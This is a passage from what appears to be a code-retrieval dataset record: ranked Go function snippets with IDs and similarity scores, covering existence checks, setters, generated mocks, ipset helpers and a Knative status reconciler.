"04bb7cadbb7991a5c560c1078e34cd47", "score": "0.55486465", "text": "func (p *parser) hasFunction(name string) bool {\n\tfor _, funcMap := range p.funcs {\n\t\tif funcMap == nil {\n\t\t\tcontinue\n\t\t}\n\t\tif funcMap[name] != nil {\n\t\t\treturn true\n\t\t}\n\t}\n\treturn false\n}", "title": "" }, { "docid": "d02318e72b69291df7eaec01ca024250", "score": "0.5509404", "text": "func hasFunc(a, b string) bool {\n\treturn strings.Contains(a, b)\n}", "title": "" }, { "docid": "d512f170c6c8523099223e4642702458", "score": "0.55018646", "text": "func (m *MobileApp) SetIsFeatured(value *bool)() {\n m.isFeatured = value\n}", "title": "" }, { "docid": "6562e8f8c7680d393a575a8b79b44d53", "score": "0.54874104", "text": "func (tsr *Bits) SetFunc(fun EvalFunc) {\n\tln := tsr.Len()\n\tfor j := 0; j < ln; j++ {\n\t\ttsr.Values.Set(j, Float64ToBool(fun(j, BoolToFloat64(tsr.Values.Index(j)))))\n\t}\n}", "title": "" }, { "docid": "d9edd40df760e7955e1fc349499e801b", "score": "0.5484081", "text": "func (mset methodSet) set(f *ast.FuncDecl, preserveAST bool) {\n\tname := f.Name.Name\n\tif g := mset[name]; g != nil && g.Doc != \"\" {\n\t\t// A function with the same name has already been registered;\n\t\t// since it has documentation, assume f is simply another\n\t\t// implementation and ignore it. This does not happen if the\n\t\t// caller is using go/build.ScanDir to determine the list of\n\t\t// files implementing a package.\n\t\treturn\n\t}\n\t// function doesn't exist or has no documentation; use f\n\trecv := \"\"\n\tif f.Recv != nil {\n\t\tvar typ ast.Expr\n\t\t// be careful in case of incorrect ASTs\n\t\tif list := f.Recv.List; len(list) == 1 {\n\t\t\ttyp = list[0].Type\n\t\t}\n\t\trecv = recvString(typ)\n\t}\n\tmset[name] = &Func{\n\t\tDoc: f.Doc.Text(),\n\t\tName: name,\n\t\tDecl: f,\n\t\tRecv: recv,\n\t\tOrig: recv,\n\t}\n\tif !preserveAST {\n\t\tf.Doc = nil // doc consumed - remove from AST\n\t}\n}", "title": "" }, { "docid": "50260a7b2ef1336cc8d8d30e61fce755", "score": "0.54658437", "text": "func (f *Feature) Applyable(t Target) bool {\n\tmethods := t.Methods()\n\tfor _, k := range methods {\n\t\tinstaller := f.installerOfMethod(k)\n\t\tif installer != nil {\n\t\t\treturn true\n\t\t}\n\t}\n\treturn false\n}", "title": "" }, { "docid": "dfd3e17d9311c7e13cee0102d6076328", "score": "0.54587615", "text": "func (f *Func) Set(fn func([]byte)) {\n\tf.mu.Lock()\n\tdefer f.mu.Unlock()\n\tf.fn = fn\n}", "title": "" }, { "docid": "5ddbdbc18a0e2f6f6e93c82131c7df5d", "score": "0.5440924", "text": "func (self *Rope) SetExistsA(member bool) {\n self.Object.Set(\"exists\", member)\n}", "title": "" }, { "docid": "19b5609b0c07ef40ae0e3c926d432cbd", "score": "0.5425151", "text": "func validateSetFunc(fn interface{}) (argType reflect.Type, setFn setFunc, ok bool) {\n\tfnValue := reflect.ValueOf(fn)\n\tif fnValue.Kind() != reflect.Func {\n\t\treturn\n\t}\n\tfnType := fnValue.Type()\n\tif !(fnType.NumIn() == 2 && !fnType.IsVariadic() && fnType.NumOut() == 1) {\n\t\treturn\n\t}\n\ta0 := fnType.In(0)\n\tif a0.Kind() != reflect.Ptr {\n\t\treturn\n\t}\n\n\tif fnType.In(1) != reflect.TypeOf((*string)(nil)).Elem() {\n\t\treturn\n\t}\n\n\terrIface := reflect.TypeOf((*error)(nil)).Elem()\n\tif !fnType.Out(0).Implements(errIface) {\n\t\treturn\n\t}\n\n\targType = a0.Elem()\n\tsetFn = func(val reflect.Value, s string) error {\n\t\trets := fnValue.Call([]reflect.Value{val.Addr(), reflect.ValueOf(s)})\n\t\tif rets[0].IsNil() {\n\t\t\treturn nil\n\t\t}\n\t\treturn rets[0].Interface().(error)\n\t}\n\n\treturn argType, setFn, true\n}", "title": "" }, { "docid": "8073097e162dca01cda7abdf0eeec0a3", "score": "0.54090536", "text": "func (*Function) isValue() {}", "title": "" }, { "docid": "f9f86dc0026920574f4845bd117dc633", "score": "0.53932345", "text": "func isSet(_ interface{}, isSet bool) bool {\n\treturn isSet\n}", "title": "" }, { "docid": "ee3acdfa82f8ac877b406d113bf08b5c", "score": "0.5390785", "text": "func (rig *Rig) getSetFunctions() error {\n\tvar funcList []string\n\n\tfor f, fStr := range FuncName {\n\t\tif res, err := rig.HasSetFunc(f); err != nil {\n\t\t\treturn err\n\t\t} else {\n\t\t\tif res > 0 {\n\t\t\t\tfuncList = append(funcList, fStr)\n\t\t\t}\n\t\t}\n\t}\n\tsort.Strings(funcList)\n\trig.Caps.SetFunctions = funcList\n\treturn nil\n}", "title": "" }, { "docid": "e75042ac556565e0455de6a6d5192f00", "score": "0.5329373", "text": "func Has(name string, args []string) bool {\n\t_, err := Value(name, args)\n\treturn err == nil\n}", "title": "" }, { "docid": "4fb96cd3a28a8329eb3cb92002e74ca7", "score": "0.532299", "text": "func (mmIs *mLoggerMockIs) Set(f func(level LogLevel) (b1 bool)) *LoggerMock {\n\tif mmIs.defaultExpectation != nil {\n\t\tmmIs.mock.t.Fatalf(\"Default expectation is already set for the Logger.Is method\")\n\t}\n\n\tif len(mmIs.expectations) > 0 {\n\t\tmmIs.mock.t.Fatalf(\"Some expectations are already set for the Logger.Is method\")\n\t}\n\n\tmmIs.mock.funcIs = f\n\treturn mmIs.mock\n}", "title": "" }, { "docid": "1b56aead3c4905f90465207898f1588b", "score": "0.52883106", "text": "func (f Flags) Has(test Flags) bool {\n\treturn f&test != 0\n}", "title": "" }, { "docid": "58da9ac163c063739b7bd9ce699ab4be", "score": "0.52838314", "text": "func SetFunc(fn interface{}) Option {\n\treturn func(c *config) {\n\t\targType, setFn, ok := validateSetFunc(fn)\n\t\tif !ok {\n\t\t\tpanic(\"expected a function matching: func(*T, string) error\")\n\t\t}\n\n\t\tif c.setFuncs == nil {\n\t\t\tc.setFuncs = make(map[reflect.Type]setFunc)\n\t\t}\n\t\tc.setFuncs[argType] = setFn\n\t}\n}", "title": "" }, { "docid": "70990c30df4445cad870c0105f8f3edc", "score": "0.52749854", "text": "func findFunction(name string, tmpl *Template, set *Set) (reflect.Value, bool) {\n\tif tmpl != nil {\n\t\tif fn := tmpl.funcs[name]; fn.IsValid() {\n\t\t\treturn fn, true\n\t\t}\n\t}\n\tif set != nil {\n\t\tif fn := set.funcs[name]; fn.IsValid() {\n\t\t\treturn fn, true\n\t\t}\n\t}\n\tif fn := funcs[name]; fn.IsValid() {\n\t\treturn fn, true\n\t}\n\treturn reflect.Value{}, false\n}", "title": "" }, { "docid": "4476cd2073d0f8a0b6c2b889c5b5efa5", "score": "0.52723306", "text": "func (rig *Rig) HasGetFunc(function uint32) (res uint32, err error) {\n\tvar c C.ulong\n\tc, err = C.has_get_func(rig.handle, C.ulong(function))\n\tres = uint32(c)\n\treturn res, checkError(0, err, \"has_get_func\")\n}", "title": "" }, { "docid": "4498d2c015448c93e0c4ce2c322c54f3", "score": "0.5266589", "text": "func (e *externalPluginEntry) implements(method string) bool {\n\tfor _, m := range e.methods {\n\t\tif method == m {\n\t\t\treturn true\n\t\t}\n\t}\n\treturn false\n}", "title": "" }, { "docid": "93619af3cce6d6dc0a759c5acfc718f7", "score": "0.52651894", "text": "func (mmIsPrototype *mObjectDescriptorMockIsPrototype) Set(f func() (b1 bool)) *ObjectDescriptorMock {\n\tif mmIsPrototype.defaultExpectation != nil {\n\t\tmmIsPrototype.mock.t.Fatalf(\"Default expectation is already set for the ObjectDescriptor.IsPrototype method\")\n\t}\n\n\tif len(mmIsPrototype.expectations) > 0 {\n\t\tmmIsPrototype.mock.t.Fatalf(\"Some expectations are already set for the ObjectDescriptor.IsPrototype method\")\n\t}\n\n\tmmIsPrototype.mock.funcIsPrototype = f\n\treturn mmIsPrototype.mock\n}", "title": "" }, { "docid": "19a144ab30a26eb9b243eab74499eaa3", "score": "0.5254241", "text": "func (e *pluginEntry) implements(method string) bool {\n\t_, ok := e.methods[method]\n\treturn ok\n}", "title": "" }, { "docid": "de07cff9208619a39d9636d9634aede0", "score": "0.5222791", "text": "func (m *mNodeKeeperMockIsBootstrapped) Set(f func() (r bool)) *NodeKeeperMock {\n\tm.mainExpectation = nil\n\tm.expectationSeries = nil\n\n\tm.mock.IsBootstrappedFunc = f\n\treturn m.mock\n}", "title": "" }, { "docid": "70af9564605836630f61acce90b7f7b3", "score": "0.5210922", "text": "func (m *mNodeKeeperMockSetIsBootstrapped) Set(f func(p bool)) *NodeKeeperMock {\n\tm.mainExpectation = nil\n\tm.expectationSeries = nil\n\n\tm.mock.SetIsBootstrappedFunc = f\n\treturn m.mock\n}", "title": "" }, { "docid": "be9fbbaae92434b66015b0ee486ca3e8", "score": "0.51848465", "text": "func isSet(m map[string]interface{}, key string) interface{} {\n\tval, ok := m[key]\n\tif !ok {\n\t\treturn false\n\t}\n\treturn val\n}", "title": "" }, { "docid": "956e9fd60422ff267d3c194d745d4f18", "score": "0.5165498", "text": "func bool() {}", "title": "" }, { "docid": "bbfd6e2b5f0a2db22dcf18f768199063", "score": "0.51263523", "text": "func isWriteFunction(fCode FunctionCode) bool {\n\tswitch fCode {\n\tcase FunctionWriteSingleCoil:\n\t\tfallthrough\n\tcase FunctionWriteSingleRegister:\n\t\tfallthrough\n\tcase FunctionWriteMultipleCoils:\n\t\tfallthrough\n\tcase FunctionWriteMultipleRegisters:\n\t\tfallthrough\n\tcase FunctionMaskWriteRegister:\n\t\treturn true\n\t}\n\treturn false\n}", "title": "" }, { "docid": "88b8dd007274194e922346c6c2c02364", "score": "0.51209295", "text": "func (self *Rope) Exists() bool{\n return self.Object.Get(\"exists\").Bool()\n}", "title": "" }, { "docid": "41a54fc8225092d0cbec0ae50d439f58", "score": "0.510171", "text": "func HasMethod(obj interface{}, methodName string) bool {\n\t_, found := reflect.TypeOf(obj).MethodByName(methodName)\n\treturn found\n}", "title": "" }, { "docid": "b811e53fd634733ed44d64e1bd6992f9", "score": "0.5098317", "text": "func (m *Menu) validOptAndFunc(opt []Opt) bool {\n\tif m.function == nil {\n\t\tif len(opt) == 1 && opt[0].function != nil {\n\t\t\treturn true\n\t\t}\n\t\treturn false\n\t}\n\treturn true\n}", "title": "" }, { "docid": "bc8484dbe7a2c713d4b77c62e6b9a92d", "score": "0.50965005", "text": "func (mmIsEmpty *mExecutionRegistryMockIsEmpty) Set(f func() (b1 bool)) *ExecutionRegistryMock {\n\tif mmIsEmpty.defaultExpectation != nil {\n\t\tmmIsEmpty.mock.t.Fatalf(\"Default expectation is already set for the ExecutionRegistry.IsEmpty method\")\n\t}\n\n\tif len(mmIsEmpty.expectations) > 0 {\n\t\tmmIsEmpty.mock.t.Fatalf(\"Some expectations are already set for the ExecutionRegistry.IsEmpty method\")\n\t}\n\n\tmmIsEmpty.mock.funcIsEmpty = f\n\treturn mmIsEmpty.mock\n}", "title": "" }, { "docid": "a92866bb16b0be8bc919ee9c3654103b", "score": "0.50786006", "text": "func (l *State) IsFunction(index int) bool { return l.TypeOf(index) == TypeFunction }", "title": "" }, { "docid": "b0a4358736e19e06d9fb036c1ff316f3", "score": "0.5065427", "text": "func (p *pathObject) Has(call goja.FunctionCall) goja.Value {\n\treturn p.has(call, false)\n}", "title": "" }, { "docid": "c35497071416aca3b86af0faa672e5e3", "score": "0.50646687", "text": "func (g *Getter) Has(name string) bool {\n\t_, ok := g.getSafely(name)\n\treturn ok\n}", "title": "" }, { "docid": "45ecafb2e034268b57922da330738444", "score": "0.50213945", "text": "func isFunc(a, b string) bool {\n\treturn a == b\n}", "title": "" }, { "docid": "63ca384d1dc438042af6904107607099", "score": "0.501772", "text": "func has(m map[string]interface{}, key string) bool {\n\treturn get(m, key) != nil\n}", "title": "" }, { "docid": "698690b87e2db9df870858b3e0a5de38", "score": "0.5015213", "text": "func (mset methodSet) add(m *Func) {\n\told := mset[m.Name]\n\tif old == nil || m.Level < old.Level {\n\t\tmset[m.Name] = m\n\t\treturn\n\t}\n\tif m.Level == old.Level {\n\t\t// conflict - mark it using a method with nil Decl\n\t\tmset[m.Name] = &Func{\n\t\t\tName: m.Name,\n\t\t\tLevel: m.Level,\n\t\t}\n\t}\n}", "title": "" }, { "docid": "d12a41ef9a8a6951864941911674c675", "score": "0.50144136", "text": "func FuncExported(obj *types.Func,) bool", "title": "" }, { "docid": "bc2754c013713b9d913d67dacc7b0ed6", "score": "0.4997505", "text": "func hasMethod(service *descriptor.ServiceDescriptorProto, method string) bool {\n\tfor _, m := range service.GetMethod() {\n\t\tif m.GetName() == method {\n\t\t\treturn true\n\t\t}\n\t}\n\n\treturn false\n}", "title": "" }, { "docid": "0696af80047ec8ae15bb439dcc159f4e", "score": "0.49905288", "text": "func (t *CopyFuncs) Set(dst, src reflect.Type, f func(dst, src unsafe.Pointer)) {\n\tt.mu.Lock()\n\tt.funcs[funcKey{Src: src, Dst: dst}] = f\n\tt.mu.Unlock()\n}", "title": "" }, { "docid": "b2175ed5018b6058057c87d351c295c5", "score": "0.49799904", "text": "func (t *TypeDesc) Function() bool {\n\treturn t.FunctionDesc != nil\n}", "title": "" }, { "docid": "98cef23951d5631235061b702d45d7c6", "score": "0.49799", "text": "func (s Set) Has(f KeyFilter) bool {\n\tfor _, k := range s {\n\t\tif f(k) {\n\t\t\treturn true\n\t\t}\n\t}\n\treturn false\n}", "title": "" }, { "docid": "5f35ddb9e06d28b3e3545db93a325503", "score": "0.49751773", "text": "func hasProperty(mask uint16, prop int) bool {\n\treturn int(mask)&prop > 0\n}", "title": "" }, { "docid": "c3ccee4946fdeb3cfb796a3b70992271", "score": "0.4974117", "text": "func (me TxsdCitetitlePubwork) IsSet() bool { return me == \"set\" }", "title": "" }, { "docid": "236b9761aa947ed42b1eee368ace640b", "score": "0.497168", "text": "func HasFn(predicate string) *FilterFn {\n\texpression := filterExpr{\n\t\tfuncType: hasFunc,\n\t\tvalue: Predicate(predicate),\n\t}\n\treturn &FilterFn{expression}\n}", "title": "" }, { "docid": "ac82cb268c5c9f728cd902deccbabe6d", "score": "0.49615481", "text": "func (mmSet *mModifierMockSet) Set(f func(pulse insolar.PulseNumber, nodes []insolar.Node) (err error)) *ModifierMock {\n\tif mmSet.defaultExpectation != nil {\n\t\tmmSet.mock.t.Fatalf(\"Default expectation is already set for the Modifier.Set method\")\n\t}\n\n\tif len(mmSet.expectations) > 0 {\n\t\tmmSet.mock.t.Fatalf(\"Some expectations are already set for the Modifier.Set method\")\n\t}\n\n\tmmSet.mock.funcSet = f\n\treturn mmSet.mock\n}", "title": "" }, { "docid": "135692bced842093ba7cb3f51c8a0882", "score": "0.4955067", "text": "func (f *Funcs) driverfn(allowed ...string) bool {\n\tfor _, d := range allowed {\n\t\tif f.driver == d {\n\t\t\treturn true\n\t\t}\n\t}\n\treturn false\n}", "title": "" }, { "docid": "e823bedf2c8fd1210dceee4a3c27a2ba", "score": "0.49522007", "text": "func (f *wrapper) Has(key []byte) (bool, error) {\n\thas, err := f.underlying.Has(key)\n\tif f.skip(err) {\n\t\treturn false, nil\n\t}\n\treturn has, err\n}", "title": "" }, { "docid": "edfc1a2686dff553668e13f8fda238a2", "score": "0.49520376", "text": "func (h *applyHandler) Set(key string, value interface{}, args ...interface{}) error {\n\tvar err error\n\tif h.keyFunc != nil {\n\t\tkey, err = h.keyFunc(key)\n\t\tif err != nil {\n\t\t\treturn err\n\t\t}\n\t}\n\n\tif h.valueFunc != nil {\n\t\tvalue, err = h.valueFunc(value)\n\t\tif err != nil {\n\t\t\treturn err\n\t\t}\n\t}\n\treturn h.handler.Set(key, value, args...)\n}", "title": "" }, { "docid": "2eec0e60f64b0f4f4c1b0d21929fb621", "score": "0.49515086", "text": "func exists(m fMap, key string) bool {\n\t_, ok := m[key]\n\treturn ok\n}", "title": "" }, { "docid": "e63dee17733dee888faff3e6ad0aaa40", "score": "0.49507374", "text": "func (m *ListMap) SetIfNotExistFuncLock(key interface{}, f func() interface{}) bool {\n\tif !m.Contains(key) {\n\t\tm.doSetWithLockCheck(key, f)\n\t\treturn true\n\t}\n\treturn false\n}", "title": "" }, { "docid": "dd323b070988cbfac2076dc3859f473e", "score": "0.49507052", "text": "func isDefault(L *lua.LState, fn *lua.LFunction) bool {\n\tblade := L.GetGlobal(\"blade\").(*lua.LTable)\n\tdefaultTarget := blade.RawGetString(\"default\").(*lua.LFunction)\n\tif defaultTarget == fn {\n\t\treturn true\n\t}\n\treturn false\n}", "title": "" }, { "docid": "98d3f2429895aba638f529bc25802e7a", "score": "0.49485", "text": "func (pkg PackageDeclaration) HasFunctionFor(str StructDeclaration, funcName string) bool {\n\tfunctions := Functions(pkg.FunctionsFor(str.Object.Name.Obj))\n\n\tif _, err := functions.Find(funcName); err != nil {\n\t\treturn false\n\t}\n\n\treturn true\n}", "title": "" }, { "docid": "2c33c812f7554d30dd692e8db9dddded", "score": "0.49460474", "text": "func (e exists) Evaluate(supported, unsupported FeatureSet) bool {\n\treturn supported.Contains(e.t)\n}", "title": "" }, { "docid": "4f18155c3ae4f5f8a0932604ccd9e477", "score": "0.49341583", "text": "func SetupByViableDbConfig(c *check.C, configFunc ViableDbConfigFunc) bool {\n\tconfig := getDbConfig(c)\n\n\tif config != nil {\n\t\tconfigFunc(config)\n\t}\n\n\treturn config != nil\n}", "title": "" }, { "docid": "e43604964f3614889dc7373192164cab", "score": "0.49325037", "text": "func FuncSet(m map[string]any, key string, value any) map[string]any {\n\tm[key] = value\n\n\treturn m\n}", "title": "" }, { "docid": "ce78c4752768ba64d1c3fac05923bfc4", "score": "0.4931279", "text": "func (self *Rope) Fresh() bool{\n return self.Object.Get(\"fresh\").Bool()\n}", "title": "" }, { "docid": "95c6dca4775b22d91bbe0bbd4803ec78", "score": "0.4929255", "text": "func (s *BoolFuncs) Add(fn ...func() bool) {\n\tfor _, f := range fn {\n\t\ts.funcs = append(s.funcs, boolFuncParams{fn: f, rec: s.Recover})\n\t}\n}", "title": "" }, { "docid": "fb1eb0e3f5cab7dabc8d8c4e325429a8", "score": "0.4923325", "text": "func HasProperty(k, v string) Predicate { return &hasProperty{k, v} }", "title": "" }, { "docid": "d6fdf41d0fd718204455b37d8cd22a50", "score": "0.4920788", "text": "func (m *ListMap) GetOrSetFunc(key interface{}, f func() interface{}) interface{} {\n\tif v, ok := m.Search(key); !ok {\n\t\treturn m.doSetWithLockCheck(key, f())\n\t} else {\n\t\treturn v\n\t}\n}", "title": "" }, { "docid": "7b86bd4beb748bc11541b8777104f9e7", "score": "0.49199325", "text": "func isSupported(k reflect.Kind) bool {\n\treturn k != reflect.Func && k != reflect.Chan && k != reflect.Invalid && k != reflect.UnsafePointer\n}", "title": "" }, { "docid": "c5aba188314b2dbcd4b3508ea352904e", "score": "0.49195945", "text": "func (exts Extensions) Has(key string) bool {\n\t_, ok := exts[key]\n\treturn ok\n}", "title": "" }, { "docid": "8c52f3b222812e6fe86019400d94b2f1", "score": "0.49176234", "text": "func (rp *registryProperty) SetFunc(class, instance string) string {\n\tif rp.setFunc == \"\" {\n\t\trp.setFunc = fmt.Sprintf(`gdnative.NewGodotPropertySetter(\"%s\", %s, %sInstances)`, class, rp.kind, instance)\n\t}\n\n\treturn rp.setFunc\n}", "title": "" }, { "docid": "290afa80a45043679149b81302d91a9a", "score": "0.4910661", "text": "func (m *mJetCoordinatorMockAmI) Set(f func(p context.Context, p1 core.DynamicRole, p2 *core.RecordID, p3 core.PulseNumber) (r bool, r1 error)) *JetCoordinatorMock {\n\tm.mainExpectation = nil\n\tm.expectationSeries = nil\n\n\tm.mock.AmIFunc = f\n\treturn m.mock\n}", "title": "" }, { "docid": "782ae05c582f768c6fd780ff1d8ebc44", "score": "0.49081832", "text": "func (t Type) HasFunctions() bool {\n\tif t.kind == TypeKind {\n\t\tt = *t.valueType\n\t}\n\n\treturn len(t.functions) > 0\n}", "title": "" }, { "docid": "e723e8bd0e041672896bf3ab75c339c3", "score": "0.49030393", "text": "func (self *Rope) InCamera() bool{\n return self.Object.Get(\"inCamera\").Bool()\n}", "title": "" }, { "docid": "161b3a8d6c980c06d2451f21d49151de", "score": "0.49013567", "text": "func (self *Rope) InWorld() bool{\n return self.Object.Get(\"inWorld\").Bool()\n}", "title": "" }, { "docid": "2ee8a9f203758974099464d251cefe04", "score": "0.48983252", "text": "func (f Flags) Has(v Flags) bool {\n\treturn (f & v) == v\n}", "title": "" }, { "docid": "3d6481cb8ae5ecb1500811a8399e5488", "score": "0.489193", "text": "func (pkg Package) HasFunctionFor(str StructDeclaration, funcName string) bool {\n\tfor _, elem := range pkg.Packages {\n\t\tif elem.HasFunctionFor(str, funcName) {\n\t\t\treturn true\n\t\t}\n\t}\n\n\treturn false\n}", "title": "" }, { "docid": "5de745f6be677f4ed2eeecc9c5036a13", "score": "0.48905182", "text": "func (mmGetSpecialRoles *mFullIntroductionReaderMockGetSpecialRoles) Set(f func() (s1 member.SpecialRole)) *FullIntroductionReaderMock {\n\tif mmGetSpecialRoles.defaultExpectation != nil {\n\t\tmmGetSpecialRoles.mock.t.Fatalf(\"Default expectation is already set for the FullIntroductionReader.GetSpecialRoles method\")\n\t}\n\n\tif len(mmGetSpecialRoles.expectations) > 0 {\n\t\tmmGetSpecialRoles.mock.t.Fatalf(\"Some expectations are already set for the FullIntroductionReader.GetSpecialRoles method\")\n\t}\n\n\tmmGetSpecialRoles.mock.funcGetSpecialRoles = f\n\treturn mmGetSpecialRoles.mock\n}", "title": "" }, { "docid": "bf172ee6aefc156ea1b3e6cf8bb8c32b", "score": "0.48878825", "text": "func (s ContextSource) IsSet(value ContextSource) bool { return s&value != 0 }", "title": "" }, { "docid": "fb7a83853eb017615d7165023e06ee95", "score": "0.48865533", "text": "func (kv *KeyValue) SetObjectAndValidateFunc(obj interface{}, equals func(returned string, requested interface{}) bool) error {\n\tif bytes, err := json.Marshal(obj); err == nil {\n\t\treturn kv.Set(string(bytes))\n\t} else {\n\t\treturn err\n\t}\n\n\tif v, err := kv.Get(); err != nil {\n\t\treturn err\n\t} else {\n\t\tif !equals(v, obj) {\n\t\t\treturn fmt.Errorf(\"Returned object is different from the request: %s - %+v\", v, obj)\n\t\t}\n\t}\n\n\treturn nil\n}", "title": "" }, { "docid": "70d5f4d13a8d4860ff97a60a3f51a8a9", "score": "0.4878105", "text": "func (ipsMgr *IpsetManager) setExists(setName string) (bool, string) {\n\t_, exists := ipsMgr.setMap[setName]\n\tif exists {\n\t\treturn exists, util.IpsetSetGenericFlag\n\t}\n\n\t_, exists = ipsMgr.listMap[setName]\n\tif exists {\n\t\treturn exists, util.IpsetSetListFlag\n\t}\n\n\treturn exists, \"\"\n}", "title": "" }, { "docid": "1d6f12b994328d738772b3d2ef45ac33", "score": "0.487102", "text": "func (mmIsVerifiableBy *mNodeStateHashEvidenceMockIsVerifiableBy) Set(f func(v cryptkit.SignatureVerifier) (b1 bool)) *NodeStateHashEvidenceMock {\n\tif mmIsVerifiableBy.defaultExpectation != nil {\n\t\tmmIsVerifiableBy.mock.t.Fatalf(\"Default expectation is already set for the NodeStateHashEvidence.IsVerifiableBy method\")\n\t}\n\n\tif len(mmIsVerifiableBy.expectations) > 0 {\n\t\tmmIsVerifiableBy.mock.t.Fatalf(\"Some expectations are already set for the NodeStateHashEvidence.IsVerifiableBy method\")\n\t}\n\n\tmmIsVerifiableBy.mock.funcIsVerifiableBy = f\n\treturn mmIsVerifiableBy.mock\n}", "title": "" }, { "docid": "a9dc3a964c1f637f94cedc976083f207", "score": "0.48666424", "text": "func isWriteMultipleFunction(fCode FunctionCode) bool {\n\tswitch fCode {\n\tcase FunctionWriteMultipleCoils:\n\t\tfallthrough\n\tcase FunctionWriteMultipleRegisters:\n\t\treturn true\n\t}\n\treturn false\n}", "title": "" }, { "docid": "9db81a1de8a36acf6593ae568534cb1b", "score": "0.48649785", "text": "func (s *Callback) Set(key string, val *PathItem) bool {\n\treturn s.data.Set(key, val)\n}", "title": "" }, { "docid": "3f2d0c20b72ddb7678c5aa0cb2fb22a5", "score": "0.48625657", "text": "func HasFeature(features, flag Features) bool { return features&flag != 0 }", "title": "" }, { "docid": "5c45b5d9d2b3e431c741fd49c628b8ea", "score": "0.48614985", "text": "func isWriteSingleFunction(fCode FunctionCode) bool {\n\tswitch fCode {\n\tcase FunctionWriteSingleCoil:\n\t\tfallthrough\n\tcase FunctionWriteSingleRegister:\n\t\treturn true\n\t}\n\treturn false\n}", "title": "" }, { "docid": "d20abf7a3ea3aa18b502e0f1c0d16476", "score": "0.48600033", "text": "func Has(m map[string]interface{}, key string) bool {\n\t_, keyExists := m[key]\n\treturn keyExists\n}", "title": "" }, { "docid": "a54b4927fc80e036134b892302c6570a", "score": "0.4857007", "text": "func (value Value) IsFunction() bool {\n\tif value.kind != valueObject {\n\t\treturn false\n\t}\n\treturn value.value.(*_object).class == classFunction\n}", "title": "" }, { "docid": "33e6a1182e06addb4570e21993974b0c", "score": "0.48523635", "text": "func (m *DeviceHealthScript) SetIsGlobalScript(value *bool)() {\n err := m.GetBackingStore().Set(\"isGlobalScript\", value)\n if err != nil {\n panic(err)\n }\n}", "title": "" }, { "docid": "306375ab834a6f22c76c1f064ef406f5", "score": "0.48362014", "text": "func allowFunc(_ interface{}, _ *userpb.User) bool {\n\treturn true\n}", "title": "" }, { "docid": "a6d7d4cdb51126d1337d4b789bbaf7b7", "score": "0.4836117", "text": "func (r *ReconcileFunction) setFunctionCondition(fn *serverlessv1alpha1.Function, tr *tektonv1alpha1.TaskRun,\n\tksvc *servingv1.Service) error {\n\t// set Function status to error if the TaskRun failed\n\tfor _, c := range tr.Status.Conditions {\n\t\tif c.Type == knapis.ConditionSucceeded && c.Status == corev1.ConditionFalse {\n\t\t\tif err := r.updateFunctionStatus(fn, serverlessv1alpha1.FunctionConditionError); err != nil {\n\t\t\t\tlog.Error(err, \"Error setting Function status\", \"namespace\", fn.Namespace, \"name\", fn.Name)\n\t\t\t}\n\n\t\t\treturn nil\n\t\t}\n\t}\n\n\t// skip status update if Knative Service has not reported status yet\n\tif len(ksvc.Status.Conditions) == 0 {\n\t\treturn nil\n\t}\n\n\tvar serviceReady bool\n\tvar configurationsReady bool\n\tvar routesReady bool\n\n\t// latest created and ready revisions share the same name.\n\tif ksvc.Status.LatestCreatedRevisionName == ksvc.Status.LatestReadyRevisionName {\n\t\tfor _, cond := range ksvc.Status.Conditions {\n\t\t\tif cond.Status == corev1.ConditionTrue {\n\t\t\t\tif cond.Type == servingv1.ServiceConditionReady {\n\t\t\t\t\tserviceReady = true\n\t\t\t\t}\n\t\t\t\tif cond.Type == servingv1.RouteConditionReady {\n\t\t\t\t\troutesReady = true\n\t\t\t\t}\n\t\t\t\tif cond.Type == servingv1.ConfigurationConditionReady {\n\t\t\t\t\tconfigurationsReady = true\n\t\t\t\t}\n\t\t\t}\n\t\t}\n\t}\n\n\t// Update the function status base on the ksvc status\n\tfnCondition := serverlessv1alpha1.FunctionConditionDeploying\n\tif configurationsReady && routesReady && serviceReady {\n\t\tfnCondition = serverlessv1alpha1.FunctionConditionRunning\n\t}\n\n\tlog.Info(fmt.Sprintf(\"Function status: %s\", fnCondition), \"namespace\", fn.Namespace, \"name\", fn.Name)\n\n\treturn r.updateFunctionStatus(fn, fnCondition)\n}", "title": "" }, { "docid": "e53564945c5858c27afc35e55dcf5731", "score": "0.48337764", "text": "func (self *Rope) FixedToCamera() bool{\n return self.Object.Get(\"fixedToCamera\").Bool()\n}", "title": "" }, { "docid": "2facf8a7f9e9d62a00e17f8ec8a85ad1", "score": "0.48326424", "text": "func (ipsMgr *IpsetManager) exists(listName string, setName string, kind string) bool {\n\tm := ipsMgr.setMap\n\tif kind == util.IpsetSetListFlag {\n\t\tm = ipsMgr.listMap\n\t}\n\n\tif _, exists := m[listName]; !exists {\n\t\treturn false\n\t}\n\n\tif _, exists := m[listName].elements[setName]; !exists {\n\t\treturn false\n\t}\n\n\treturn true\n}", "title": "" }, { "docid": "1185969980eadc3aba9a56b502fb8232", "score": "0.482965", "text": "func (self *Game) Stepping() bool{\n return self.Object.Get(\"stepping\").Bool()\n}", "title": "" }, { "docid": "4dcdc7a08d2a219a4ed83443c34f45a8", "score": "0.48186785", "text": "func (o *Team) HasFunSettings() bool {\n\tif o != nil && o.FunSettings != nil {\n\t\treturn true\n\t}\n\n\treturn false\n}", "title": "" }, { "docid": "c7524bac422d7742f858d48540a68843", "score": "0.4814456", "text": "func (o *Object) IsFunction() bool {\n\treturn o.value.IsFunction()\n}", "title": "" }, { "docid": "3e66080644aeaf5a8aafddaf97b079cb", "score": "0.48077783", "text": "func (mmDone *mExecutionRegistryMockDone) Set(f func(transcript *common.Transcript) (b1 bool)) *ExecutionRegistryMock {\n\tif mmDone.defaultExpectation != nil {\n\t\tmmDone.mock.t.Fatalf(\"Default expectation is already set for the ExecutionRegistry.Done method\")\n\t}\n\n\tif len(mmDone.expectations) > 0 {\n\t\tmmDone.mock.t.Fatalf(\"Some expectations are already set for the ExecutionRegistry.Done method\")\n\t}\n\n\tmmDone.mock.funcDone = f\n\treturn mmDone.mock\n}", "title": "" }, { "docid": "95731c3f6f32c40af44293d1a33e7979", "score": "0.4807295", "text": "func (s failingSetter) CheckSetter(_ string) {\n}", "title": "" }, { "docid": "23b9f7559d140f80ec41b5b0a8cba49d", "score": "0.48047653", "text": "func (x *fastReflection_RequestSetOption) Has(fd protoreflect.FieldDescriptor) bool {\n\tswitch fd.FullName() {\n\tcase \"tendermint.abci.RequestSetOption.key\":\n\t\treturn x.Key != \"\"\n\tcase \"tendermint.abci.RequestSetOption.value\":\n\t\treturn x.Value != \"\"\n\tdefault:\n\t\tif fd.IsExtension() {\n\t\t\tpanic(fmt.Errorf(\"proto3 